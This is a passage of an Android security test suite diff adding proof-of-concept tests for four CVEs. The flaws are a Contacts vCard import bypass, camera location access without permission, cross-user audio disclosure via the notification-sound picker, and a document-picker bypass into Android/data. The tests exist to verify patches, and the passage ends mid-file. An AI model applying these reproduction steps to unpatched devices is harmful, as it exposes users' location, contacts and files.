+++ b/hostsidetests/securitybulletin/test-apps/CVE-2023-40126/src/android/security/cts/CVE_2023_40126/DeviceTest.java
@@ -0,0 +1,133 @@
+/*
+ * Copyright (C) 2023 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2023_40126;
+
+import static android.Manifest.permission.READ_EXTERNAL_STORAGE;
+import static android.content.pm.PackageManager.PERMISSION_DENIED;
+import static android.content.pm.PackageManager.PERMISSION_GRANTED;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.net.Uri;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.OutputStream;
+import java.util.Arrays;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testPocCVE_2023_40126() {
+        UiAutomation uiAutomation = null;
+        boolean permissionGranted = false;
+        String contactsPackageName = "com.android.contacts";
+        try {
+            Instrumentation instrumentation = getInstrumentation();
+            Context context = instrumentation.getContext();
+            Intent contactsIntent =
+                    new Intent(Intent.ACTION_MAIN).addCategory(Intent.CATEGORY_APP_CONTACTS);
+
+            // Fix is part of com.android.contacts package. Skip test if package not found
+            assume().withMessage("Skipping test: Package com.android.contacts not found")
+                    .that(
+                            contactsPackageName.equals(
+                                    contactsIntent
+                                            .resolveActivity(context.getPackageManager())
+                                            .getPackageName()))
+                    .isTrue();
+            Uri vcardUri = Uri.parse("content://authority_CVE_2023_40126/file_path/contacts.vcf");
+            try (OutputStream outputStream =
+                    context.getContentResolver().openOutputStream(vcardUri); ) {
+                outputStream.write("".getBytes());
+            }
+
+            uiAutomation = instrumentation.getUiAutomation();
+            PackageManager packageManager = context.getPackageManager();
+            PackageInfo info =
+                    packageManager.getPackageInfo(
+                            contactsPackageName, PackageManager.GET_PERMISSIONS);
+            if (Arrays.asList(info.requestedPermissions).contains(READ_EXTERNAL_STORAGE)
+                    && packageManager.checkPermission(READ_EXTERNAL_STORAGE, contactsPackageName)
+                            == PERMISSION_DENIED) {
+                // grant android.permission.READ_EXTERNAL_STORAGE to com.android.contacts
+                uiAutomation.grantRuntimePermission(contactsPackageName, READ_EXTERNAL_STORAGE);
+                assume().withMessage(
+                                "Failed to grant "
+                                        + READ_EXTERNAL_STORAGE
+                                        + " permission to "
+                                        + contactsPackageName)
+                        .that(
+                                packageManager.checkPermission(
+                                                READ_EXTERNAL_STORAGE, contactsPackageName)
+                                        == PERMISSION_GRANTED)
+                        .isTrue();
+                permissionGranted = true;
+            }
+            context.startActivity(
+                    new Intent()
+                            .setAction(Intent.ACTION_VIEW)
+                            .setData(vcardUri)
+                            .putExtra("account_name", "test@test.com")
+                            .putExtra("account_type", "com.test")
+                            .putExtra("data_set", "")
+                            .addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION)
+                            .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK));
+            Resources res =
+                    context.getPackageManager().getResourcesForApplication(contactsPackageName);
+            String checkText =
+                    res.getString(
+                            res.getIdentifier(
+                                    "import_from_vcf_file_confirmation_message",
+                                    "string",
+                                    contactsPackageName));
+            assertWithMessage("Vulnerable to b/278556954")
+                    .that(
+                            UiDevice.getInstance(instrumentation)
+                                    .wait(Until.findObject(By.text(checkText)), 5000 /* timeout */))
+                    .isNull();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        } finally {
+            try {
+                if (permissionGranted) {
+                    uiAutomation.revokeRuntimePermission(
+                            contactsPackageName, READ_EXTERNAL_STORAGE);
+                }
+            } catch (Exception ignored) {
+                // ignore all exceptions
+            }
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0017/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2024-0017/Android.bp
new file mode 100644
index 0000000..e87fd68
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0017/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2024-0017",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "compatibility-device-util-axt",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0017/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2024-0017/AndroidManifest.xml
new file mode 100644
index 0000000..b4b1c46
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0017/AndroidManifest.xml
@@ -0,0 +1,29 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2024 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2024_0017">
+    <queries>
+        <intent>
+            <action android:name="android.media.action.VIDEO_CAPTURE"/>
+        </intent>
+    </queries>
+
+    <instrumentation
+            android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.security.cts.CVE_2024_0017" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0017/src/android/security/cts/CVE_2024_0017/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2024-0017/src/android/security/cts/CVE_2024_0017/DeviceTest.java
new file mode 100644
index 0000000..66bdc92
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0017/src/android/security/cts/CVE_2024_0017/DeviceTest.java
@@ -0,0 +1,113 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2024_0017;
+
+import static android.provider.MediaStore.ACTION_VIDEO_CAPTURE;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Activity;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.ResolveInfo;
+import android.os.Looper;
+
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+import java.util.List;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+
+    @Test
+    public void testPocCVE_2024_0017() {
+        try {
+            // Get resolveinfo for the activities with ACTION_VIDEO_CAPTURE
+            final String targetActivityIntent = ACTION_VIDEO_CAPTURE;
+            final Intent videoCaptureIntent = new Intent(targetActivityIntent);
+            final Context context = getApplicationContext();
+            final List<ResolveInfo> resolveInfos =
+                    context.getPackageManager()
+                            .queryIntentActivities(videoCaptureIntent, 0 /* flag */);
+            assume().withMessage("No Activity found for " + targetActivityIntent)
+                    .that(resolveInfos)
+                    .isNotEmpty();
+
+            Class CameraActivityClass = null;
+            for (ResolveInfo resolveInfo : resolveInfos) {
+                try {
+                    // Get the context of package
+                    final String cameraPkg =
+                            resolveInfo.getComponentInfo().getComponentName().getPackageName();
+                    Context cameraContext =
+                            context.createPackageContext(
+                                    cameraPkg,
+                                    Context.CONTEXT_IGNORE_SECURITY | Context.CONTEXT_INCLUDE_CODE);
+
+                    // Fetch the class 'CameraActivity'
+                    CameraActivityClass =
+                            cameraContext
+                                    .getClassLoader()
+                                    .loadClass("com.android.camera.CameraActivity");
+                    break;
+                } catch (ClassNotFoundException ignore) {
+                    CameraActivityClass = null;
+                }
+            }
+            assume().withMessage("No Class found for CameraActivity")
+                    .that(CameraActivityClass)
+                    .isNotNull();
+
+            // Fetch the constructors of 'CameraActivity'
+            Constructor CameraActivityConstructor = CameraActivityClass.getConstructor();
+
+            // The CameraActivity constructor calls Handler::Handler() internally which requires
+            // Looper.prepare() to be called
+            Looper.prepare();
+
+            // Create the object of 'CameraActivity' class
+            CameraActivityConstructor.setAccessible(true);
+            Activity cameraActivity = (Activity) CameraActivityConstructor.newInstance();
+
+            // Setting the calling intent as capture intent as with fix, 'shouldUseNoOpLocation()'
+            // returns true if it is a capture intent.
+            cameraActivity.setIntent(videoCaptureIntent);
+            Method shouldUseNoOpLocationMethod =
+                    CameraActivityClass.getDeclaredMethod("shouldUseNoOpLocation");
+            shouldUseNoOpLocationMethod.setAccessible(true);
+
+            // Without Fix, 'shouldUseNoOpLocation()' returns false as calling package is null and
+            // With fix, 'shouldUseNoOpLocation()' returns true if the calling intent is a capture
+            // intent.
+            assertWithMessage(
+                            "Device is vulnerable to b/285142084 hence malicious app can access"
+                                    + " user's location without any permissions")
+                    .that((boolean) shouldUseNoOpLocationMethod.invoke(cameraActivity))
+                    .isTrue();
+        } catch (Exception | NoSuchMethodError e) {
+            assume().that(e).isNull();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/Android.bp
new file mode 100644
index 0000000..0e52c63
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/Android.bp
@@ -0,0 +1,39 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2024-0020",
+    defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "compatibility-device-util-axt",
+        "sts-device-util"
+    ]
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/AndroidManifest.xml
new file mode 100644
index 0000000..38479a9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2024 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2024_0020">
+    <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />
+
+    <application>
+        <activity
+            android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.RINGTONE_PICKER" />
+                <category android:name="android.intent.category.DEFAULT" />
+            </intent-filter>
+        </activity>
+    </application>
+
+    <instrumentation
+        android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2024_0020" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/src/android/security/cts/CVE-2024-0020/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/src/android/security/cts/CVE-2024-0020/DeviceTest.java
new file mode 100644
index 0000000..7ab1c1a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/src/android/security/cts/CVE-2024-0020/DeviceTest.java
@@ -0,0 +1,238 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2024_0020;
+
+import static android.Manifest.permission.CREATE_USERS;
+import static android.provider.Settings.ACTION_CHANNEL_NOTIFICATION_SETTINGS;
+import static android.provider.Settings.EXTRA_APP_PACKAGE;
+import static android.provider.Settings.EXTRA_CHANNEL_ID;
+import static android.provider.Settings.System.NOTIFICATION_SOUND;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.UserInfo;
+import android.net.Uri;
+import android.os.Build;
+import android.os.UserManager;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.UiScrollable;
+import androidx.test.uiautomator.UiSelector;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private final long TIMEOUT_MS = 5_000L;
+
+    @Test
+    public void testPocCVE_2024_0020() {
+        UiDevice uiDevice = null;
+        try {
+            final Instrumentation instrumentation = getInstrumentation();
+            final Context context = instrumentation.getContext();
+            final UserManager userManager = context.getSystemService(UserManager.class);
+
+            // Check if the device supports multiple users or not
+            assume().withMessage("This device does not support multiple users")
+                    .that(userManager.supportsMultipleUsers())
+                    .isTrue();
+
+            // Get the user id of 'cve_2024_0020_user'
+            final int testUserId =
+                    runWithShellPermissionIdentity(
+                            () -> {
+                                List<UserInfo> list = userManager.getUsers();
+                                for (UserInfo info : list) {
+                                    if (info.toString().contains("cve_2024_0020_user")) {
+                                        return info.getUserHandle().getIdentifier();
+                                    }
+                                }
+                                return -1;
+                            },
+                            CREATE_USERS);
+            assume().withMessage("Unable to get userId of secondary user")
+                    .that(testUserId)
+                    .isNotEqualTo(-1);
+
+            // Build URI for 'vulnerableFileUri'
+            final String currentPackageName = context.getPackageName();
+            final String vulnerableNotificationSoundName = "CVE_2024_0020.mp3";
+            final Uri vulnerableFileUri =
+                    withUserId(Uri.parse("content://" + currentPackageName), testUserId)
+                            .buildUpon()
+                            .appendPath(vulnerableNotificationSoundName)
+                            .build();
+
+            // Set shared preference to fetch 'vulnerableFileUri' in PocActivity to reproduce issue
+            context.getSharedPreferences(currentPackageName, Context.MODE_PRIVATE)
+                    .edit()
+                    .putString("vulnerableFileUri", vulnerableFileUri.toString())
+                    .commit();
+
+            // Create notification channel
+            final String channelId = "cve_2024_0020_channel_id";
+            NotificationManager notificationManager =
+                    context.getSystemService(NotificationManager.class);
+            notificationManager.createNotificationChannel(
+                    new NotificationChannel(
+                            channelId /* channelId */,
+                            "cve_2024_0020_notification_channel_name" /* channelName */,
+                            NotificationManager.IMPORTANCE_HIGH));
+
+            // Launch 'ChannelPanelActivity' which opens a dialog for
+            // controlling notification channel settings
+            String extraChannelFilterList =
+                    (Build.VERSION.SDK_INT > Build.VERSION_CODES.R)
+                            ? android.provider.Settings.class
+                                    .getField("EXTRA_CHANNEL_FILTER_LIST")
+                                    .get(null)
+                                    .toString()
+                            : "android.provider.extra.CHANNEL_FILTER_LIST";
+            Intent intent =
+                    new Intent(ACTION_CHANNEL_NOTIFICATION_SETTINGS)
+                            .putExtra(EXTRA_APP_PACKAGE, currentPackageName)
+                            .putExtra(EXTRA_CHANNEL_ID, channelId)
+                            .putExtra(extraChannelFilterList, NOTIFICATION_SOUND)
+                            .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+            context.startActivity(intent);
+
+            // Wait for activity to be launched
+            assume().that(
+                            checkActivityLaunched(
+                                    intent.resolveActivity(context.getPackageManager())
+                                            .flattenToString()))
+                    .isTrue();
+
+            // UI is different on Android 11, so additional click is required
+            uiDevice = UiDevice.getInstance(instrumentation);
+            if (Build.VERSION.SDK_INT <= Build.VERSION_CODES.R) {
+                assume().that(clickUiObject(uiDevice, By.text("Advanced"))).isTrue();
+            }
+
+            // Scroll until text 'Sound' is visible
+            String settingsPackageName =
+                    intent.resolveActivity(context.getPackageManager()).getPackageName();
+            Context settingsContext =
+                    context.createPackageContext(
+                            settingsPackageName, Context.CONTEXT_IGNORE_SECURITY);
+            String text =
+                    settingsContext.getString(
+                            settingsContext
+                                    .getPackageManager()
+                                    .getResourcesForApplication(settingsPackageName)
+                                    .getIdentifier(
+                                            "notification_channel_sound_title",
+                                            "string",
+                                            settingsPackageName));
+            UiScrollable uiScrollable = new UiScrollable(new UiSelector().scrollable(true));
+            uiScrollable.scrollTextIntoView(text);
+
+            // Click UI Objects to reproduce the issue
+            assume().withMessage("Failed to click UI Object correspond to 'Sound'")
+                    .that(clickUiObject(uiDevice, By.text(text)))
+                    .isTrue();
+            assume().withMessage(
+                            "Failed to click UI Object correspond to"
+                                    + " 'android.security.cts.CVE_2024_0020'")
+                    .that(clickUiObject(uiDevice, By.text(currentPackageName)))
+                    .isTrue();
+
+            // By clicking 'Always', 'PocActivity' gets started which further tries to set
+            // notification sound with 'vulnerableFileUri'
+            assume().withMessage("Failed to click UI Object correspond to 'Always'")
+                    .that(clickUiObject(uiDevice, By.res("android:id/button_always")))
+                    .isTrue();
+
+            // Without Fix, an audio file corresponding to a secondary user is set as a notification
+            // sound and the UI contains UiObject corresponding to vulnerableNotificationSoundName
+            assertWithMessage(
+                            "Device is vulnerable to b/299614635 !!"
+                                    + " Audios can be revealed across users via"
+                                    + " com.android.settings.notification"
+                                    + ".app.NotificationSoundPreference")
+                    .that(
+                            uiDevice.wait(
+                                    Until.findObject(
+                                            By.textContains(vulnerableNotificationSoundName)),
+                                    TIMEOUT_MS))
+                    .isNull();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        } finally {
+            try {
+                // Exit the test gracefully
+                uiDevice.pressHome();
+            } catch (Exception ignore) {
+                // Ignore
+            }
+        }
+    }
+
+    private Uri withUserId(Uri uri, int userId) {
+        Uri.Builder builder = uri.buildUpon();
+        builder.encodedAuthority(userId + "@" + uri.getEncodedAuthority());
+        return builder.build();
+    }
+
+    private boolean clickUiObject(UiDevice uiDevice, BySelector selector) throws Exception {
+        boolean objectFound = uiDevice.wait(Until.hasObject(selector), TIMEOUT_MS);
+        if (objectFound) {
+            UiObject2 uiobject = uiDevice.findObject(selector);
+            poll(() -> (uiobject.isEnabled()));
+            uiobject.click();
+        }
+        return objectFound;
+    }
+
+    private boolean checkActivityLaunched(String activityName) throws Exception {
+        final Pattern resumedPattern =
+                Pattern.compile("mResumed=(?<value>(true|false))", Pattern.CASE_INSENSITIVE);
+        return poll(
+                () -> {
+                    String dumpsys =
+                            runShellCommand(String.format("dumpsys activity " + activityName));
+                    Matcher matcher = resumedPattern.matcher(dumpsys);
+                    if (matcher.find() && matcher.group("value").equals("true")) {
+                        return true;
+                    }
+                    return false;
+                });
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/src/android/security/cts/CVE-2024-0020/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/src/android/security/cts/CVE-2024-0020/PocActivity.java
new file mode 100644
index 0000000..a2ac072
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0020/src/android/security/cts/CVE-2024-0020/PocActivity.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2024_0020;
+
+import static android.media.RingtoneManager.EXTRA_RINGTONE_PICKED_URI;
+
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.net.Uri;
+import android.os.Bundle;
+
+public class PocActivity extends Activity {
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        try {
+            super.onCreate(savedInstanceState);
+
+            // Try to set notification sound with 'vulnerableFileUri'
+            // which belongs to the secondary user
+            setResult(
+                    Activity.RESULT_OK,
+                    new Intent()
+                            .putExtra(
+                                    EXTRA_RINGTONE_PICKED_URI,
+                                    Uri.parse(
+                                            getSharedPreferences(getPackageName(), MODE_PRIVATE)
+                                                    .getString("vulnerableFileUri", null))));
+
+            // End the 'PocActivity' to reproduce the issue by preventing it from getting launched
+            finish();
+        } catch (Exception e) {
+            assume().that(e).isNull();
+        }
+    }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0032/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2024-0032/Android.bp
new file mode 100644
index 0000000..7ca7e1a
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0032/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CVE-2024-0032",
+     defaults: [
+        "cts_defaults",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    test_suites: [
+        "sts",
+    ],
+    static_libs: [
+        "androidx.test.core",
+        "androidx.test.rules",
+        "androidx.test.uiautomator_uiautomator",
+        "compatibility-device-util-axt",
+        "sts-device-util",
+        "truth",
+    ],
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0032/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2024-0032/AndroidManifest.xml
new file mode 100644
index 0000000..51cbd2f
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0032/AndroidManifest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2024 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2024_0032">
+
+    <instrumentation
+            android:name="androidx.test.runner.AndroidJUnitRunner"
+            android:targetPackage="android.security.cts.CVE_2024_0032" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2024-0032/src/android/security/cts/CVE_2024_0032/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2024-0032/src/android/security/cts/CVE_2024_0032/DeviceTest.java
new file mode 100644
index 0000000..343fafe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2024-0032/src/android/security/cts/CVE_2024_0032/DeviceTest.java
@@ -0,0 +1,136 @@
+/*
+ * Copyright (C) 2024 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2024_0032;
+
+import static android.provider.DocumentsContract.EXTERNAL_STORAGE_PRIMARY_EMULATED_ROOT_ID;
+import static android.provider.DocumentsContract.EXTERNAL_STORAGE_PROVIDER_AUTHORITY;
+import static android.provider.DocumentsContract.EXTRA_INITIAL_URI;
+import static android.provider.DocumentsContract.buildDocumentUri;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.sts.common.SystemUtil.poll;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+import static com.google.common.truth.TruthJUnit.assume;
+
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.UiObject2;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    @Test
+    public void testPocCVE_2024_0032() {
+        UiDevice uiDevice = null;
+        try {
+            Instrumentation instrumentation = getInstrumentation();
+            Context context = instrumentation.getContext();
+            String subdirectoryName = "CVE_2024_0032";
+            try (AutoCloseable createSubDirectory = createSubDirectory(context, subdirectoryName)) {
+                // Launch activity to reproduce the vulnerability
+                Intent intent =
+                        new Intent(Intent.ACTION_OPEN_DOCUMENT_TREE)
+                                .putExtra(
+                                        EXTRA_INITIAL_URI,
+                                        buildDocumentUri(
+                                                EXTERNAL_STORAGE_PROVIDER_AUTHORITY,
+                                                EXTERNAL_STORAGE_PRIMARY_EMULATED_ROOT_ID
+                                                        + ":Android/data/"
+                                                        + context.getPackageName()
+                                                        + "/files"))
+                                .addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+                context.startActivity(intent);
+
+                // Wait for activity to be launched
+                uiDevice = UiDevice.getInstance(instrumentation);
+                assume().withMessage("Failed to launch activity")
+                        .that(
+                                checkActivityLaunched(
+                                        intent.resolveActivity(context.getPackageManager())
+                                                .flattenToString()))
+                        .isTrue();
+
+                // Get object containing 'CVE_2024_0032' with resource-id 'android:id/title'
+                UiObject2 uiObject =
+                        uiDevice.wait(
+                                Until.findObject(
+                                        By.textContains(subdirectoryName).res("android:id/title")),
+                                5_000L /* timeout */);
+
+                // Without Fix, UI for subdirectory of 'Android/data/' is detected by UIAutomator
+                // and test fails
+                assertWithMessage(
+                                "Device is vulnerable to b/283962634 !! Bypass access restriction"
